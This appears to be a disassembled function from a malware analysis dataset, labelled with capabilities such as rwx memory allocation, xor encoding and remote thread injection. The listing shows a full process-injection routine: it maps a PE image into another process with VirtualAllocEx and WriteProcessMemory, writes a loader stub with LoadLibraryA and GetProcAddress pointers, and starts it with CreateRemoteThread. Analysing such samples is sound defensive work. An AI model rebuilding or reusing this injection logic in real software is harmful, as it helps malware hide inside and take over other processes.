Function at 0x421c30
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x522e70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x280
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0x40
cmovae esi, dword [ebx + 8]
cmovae ecx, dword [ebx + 8]
mov dword [ebp - 0x18], esi
push 0x3000
mov esi, dword [esi + 0x3c]
add esi, ecx
mov dword [ebp - 0x1c], esi
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0
push dword [esi + 0x54]
cmovae ecx, dword [ebx + 8]
push ecx
push eax
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x421d07
add esi, 0x10c
nop dword [eax]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebx + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x20]
push ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x1c]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x421cd0
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x14]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x290], eax
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x28c], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x288], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x280], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x200
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x278]
push 0
push eax
mov dword [ebp - 0x284], ecx
call fcn.004fd0d0
xorps xmm0, xmm0
mov byte [ebp - 0x2b], 0xbd
add esp, 0xc
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], 0
xor ecx, ecx
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 1
jb 0x421d95
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x48], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421dc7
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402b80
mov byte [ebp - 4], 1
lea edx, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov esi, dword [0x55ab6c]
cmovae edx, dword [ebp - 0x5c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421e00
sub ecx, dword [ebp - 0x18]
mov eax, closesocket
sub eax, esi
cmp eax, ecx
jb 0x42200c
cmp dword [0x55ab70], 0x10
mov eax, 0x55ab5c
push ecx
cmovae eax, dword [0x55ab5c]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x74]
call fcn.0048aa20
push 0x55d068
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 2
call fcn.00482d90
mov dword [ebp - 0x34], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x30], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x421eb8
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421eae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422011
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp ecx, 0x10
jb 0x421efe
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421ef4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422011
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [0x55ab40], 0x10
lea eax, [ebp - 0x44]
mov ecx, 0x55ab2c
cmovae ecx, dword [0x55ab2c]
cmp dword [ebp - 0x30], 0x10
push ecx
cmovae eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x278]
push str._s_s
push eax
call fcn.00403090
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x290]
add esp, 0x10
push 0
push 0x218
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00421c20
add esi, 0x218
sub eax, 0x421b10
push eax
push 0x421b10
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x14]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x421fb7
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421fad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422016
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
cmp ecx, 0x10
jb 0x421ff9
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421fef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422016
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004023f0
call fcn.00500390
call fcn.00500390
int3